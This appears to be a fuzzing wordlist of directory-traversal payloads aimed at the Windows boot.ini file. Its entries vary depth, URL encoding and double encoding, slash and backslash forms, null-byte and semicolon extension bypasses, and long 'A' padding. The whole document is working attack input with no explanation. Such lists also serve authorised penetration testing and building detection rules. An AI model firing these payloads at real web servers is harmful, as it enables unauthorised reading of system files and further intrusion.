../boot.ini%00index.html
../../boot.ini%00index.html
../../../boot.ini%00index.html
../../../../boot.ini%00index.html
../../../../../boot.ini%00index.html
../../../../../../boot.ini%00index.html
../../../../../../../boot.ini%00index.html
../../../../../../../../boot.ini%00index.html
..%2fboot.ini%00index.html
..%2f..%2fboot.ini%00index.html
..%2f..%2f..%2fboot.ini%00index.html
..%2f..%2f..%2f..%2fboot.ini%00index.html
..%2f..%2f..%2f..%2f..%2fboot.ini%00index.html
..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00index.html
..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00index.html
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00index.html
%2e%2e/boot.ini%00index.html
%2e%2e/%2e%2e/boot.ini%00index.html
%2e%2e/%2e%2e/%2e%2e/boot.ini%00index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini%00index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini%00index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini%00index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini%00index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini%00index.html
%2e%2e%2fboot.ini%00index.html
%2e%2e%2f%2e%2e%2fboot.ini%00index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini%00index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini%00index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini%00index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini%00index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini%00index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini%00index.html
..%252fboot.ini%00index.html
..%252f..%252fboot.ini%00index.html
..%252f..%252f..%252fboot.ini%00index.html
..%252f..%252f..%252f..%252fboot.ini%00index.html
..%252f..%252f..%252f..%252f..%252fboot.ini%00index.html
..%252f..%252f..%252f..%252f..%252f..%252fboot.ini%00index.html
..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini%00index.html
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini%00index.html
%252e%252e/boot.ini%00index.html
%252e%252e/%252e%252e/boot.ini%00index.html
%252e%252e/%252e%252e/%252e%252e/boot.ini%00index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini%00index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini%00index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini%00index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini%00index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini%00index.html
%252e%252e%252fboot.ini%00index.html
%252e%252e%252f%252e%252e%252fboot.ini%00index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini%00index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini%00index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini%00index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini%00index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini%00index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini%00index.html
..\boot.ini%00index.html
..\..\boot.ini%00index.html
..\..\..\boot.ini%00index.html
..\..\..\..\boot.ini%00index.html
..\..\..\..\..\boot.ini%00index.html
..\..\..\..\..\..\boot.ini%00index.html
..\..\..\..\..\..\..\boot.ini%00index.html
..\..\..\..\..\..\..\..\boot.ini%00index.html
..%5cboot.ini%00index.html
..%5c..%5cboot.ini%00index.html
..%5c..%5c..%5cboot.ini%00index.html
..%5c..%5c..%5c..%5cboot.ini%00index.html
..%5c..%5c..%5c..%5c..%5cboot.ini%00index.html
..%5c..%5c..%5c..%5c..%5c..%5cboot.ini%00index.html
..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini%00index.html
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini%00index.html
%2e%2e\boot.ini%00index.html
%2e%2e\%2e%2e\boot.ini%00index.html
%2e%2e\%2e%2e\%2e%2e\boot.ini%00index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini%00index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini%00index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini%00index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini%00index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini%00index.html
%2e%2e%5cboot.ini%00index.html
%2e%2e%5c%2e%2e%5cboot.ini%00index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini%00index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini%00index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini%00index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini%00index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini%00index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini%00index.html
..%255cboot.ini%00index.html
..%255c..%255cboot.ini%00index.html
..%255c..%255c..%255cboot.ini%00index.html
..%255c..%255c..%255c..%255cboot.ini%00index.html
..%255c..%255c..%255c..%255c..%255cboot.ini%00index.html
..%255c..%255c..%255c..%255c..%255c..%255cboot.ini%00index.html
..%255c..%255c..%255c..%255c..%255c..%255c..%255cboot.ini%00index.html
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255cboot.ini%00index.html
%252e%252e\boot.ini%00index.html
%252e%252e\%252e%252e\boot.ini%00index.html
%252e%252e\%252e%252e\%252e%252e\boot.ini%00index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini%00index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini%00index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini%00index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini%00index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini%00index.html
%252e%252e%255cboot.ini%00index.html
%252e%252e%255c%252e%252e%255cboot.ini%00index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini%00index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini%00index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini%00index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini%00index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini%00index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini%00index.html
../boot.ini;index.html
../../boot.ini;index.html
../../../boot.ini;index.html
../../../../boot.ini;index.html
../../../../../boot.ini;index.html
../../../../../../boot.ini;index.html
../../../../../../../boot.ini;index.html
../../../../../../../../boot.ini;index.html
..%2fboot.ini;index.html
..%2f..%2fboot.ini;index.html
..%2f..%2f..%2fboot.ini;index.html
..%2f..%2f..%2f..%2fboot.ini;index.html
..%2f..%2f..%2f..%2f..%2fboot.ini;index.html
..%2f..%2f..%2f..%2f..%2f..%2fboot.ini;index.html
..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini;index.html
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini;index.html
%2e%2e/boot.ini;index.html
%2e%2e/%2e%2e/boot.ini;index.html
%2e%2e/%2e%2e/%2e%2e/boot.ini;index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini;index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini;index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini;index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini;index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini;index.html
%2e%2e%2fboot.ini;index.html
%2e%2e%2f%2e%2e%2fboot.ini;index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini;index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini;index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini;index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini;index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini;index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini;index.html
..%252fboot.ini;index.html
..%252f..%252fboot.ini;index.html
..%252f..%252f..%252fboot.ini;index.html
..%252f..%252f..%252f..%252fboot.ini;index.html
..%252f..%252f..%252f..%252f..%252fboot.ini;index.html
..%252f..%252f..%252f..%252f..%252f..%252fboot.ini;index.html
..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini;index.html
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini;index.html
%252e%252e/boot.ini;index.html
%252e%252e/%252e%252e/boot.ini;index.html
%252e%252e/%252e%252e/%252e%252e/boot.ini;index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini;index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini;index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini;index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini;index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini;index.html
%252e%252e%252fboot.ini;index.html
%252e%252e%252f%252e%252e%252fboot.ini;index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini;index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini;index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini;index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini;index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini;index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini;index.html
..\boot.ini;index.html
..\..\boot.ini;index.html
..\..\..\boot.ini;index.html
..\..\..\..\boot.ini;index.html
..\..\..\..\..\boot.ini;index.html
..\..\..\..\..\..\boot.ini;index.html
..\..\..\..\..\..\..\boot.ini;index.html
..\..\..\..\..\..\..\..\boot.ini;index.html
..%5cboot.ini;index.html
..%5c..%5cboot.ini;index.html
..%5c..%5c..%5cboot.ini;index.html
..%5c..%5c..%5c..%5cboot.ini;index.html
..%5c..%5c..%5c..%5c..%5cboot.ini;index.html
..%5c..%5c..%5c..%5c..%5c..%5cboot.ini;index.html
..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini;index.html
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini;index.html
%2e%2e\boot.ini;index.html
%2e%2e\%2e%2e\boot.ini;index.html
%2e%2e\%2e%2e\%2e%2e\boot.ini;index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini;index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini;index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini;index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini;index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini;index.html
%2e%2e%5cboot.ini;index.html
%2e%2e%5c%2e%2e%5cboot.ini;index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini;index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini;index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini;index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini;index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini;index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini;index.html
..%255cboot.ini;index.html
..%255c..%255cboot.ini;index.html
..%255c..%255c..%255cboot.ini;index.html
..%255c..%255c..%255c..%255cboot.ini;index.html
..%255c..%255c..%255c..%255c..%255cboot.ini;index.html
..%255c..%255c..%255c..%255c..%255c..%255cboot.ini;index.html
..%255c..%255c..%255c..%255c..%255c..%255c..%255cboot.ini;index.html
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255cboot.ini;index.html
%252e%252e\boot.ini;index.html
%252e%252e\%252e%252e\boot.ini;index.html
%252e%252e\%252e%252e\%252e%252e\boot.ini;index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini;index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini;index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini;index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini;index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini;index.html
%252e%252e%255cboot.ini;index.html
%252e%252e%255c%252e%252e%255cboot.ini;index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini;index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini;index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini;index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini;index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini;index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini;index.html
\../boot.ini
\../\../boot.ini
\../\../\../boot.ini
\../\../\../\../boot.ini
\../\../\../\../\../boot.ini
\../\../\../\../\../\../boot.ini
\../\../\../\../\../\../\../boot.ini
\../\../\../\../\../\../\../\../boot.ini
/..\boot.ini
/..\/..\boot.ini
/..\/..\/..\boot.ini
/..\/..\/..\/..\boot.ini
/..\/..\/..\/..\/..\boot.ini
/..\/..\/..\/..\/..\/..\boot.ini
/..\/..\/..\/..\/..\/..\/..\boot.ini
/..\/..\/..\/..\/..\/..\/..\/..\boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../boot.ini
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../boot.ini
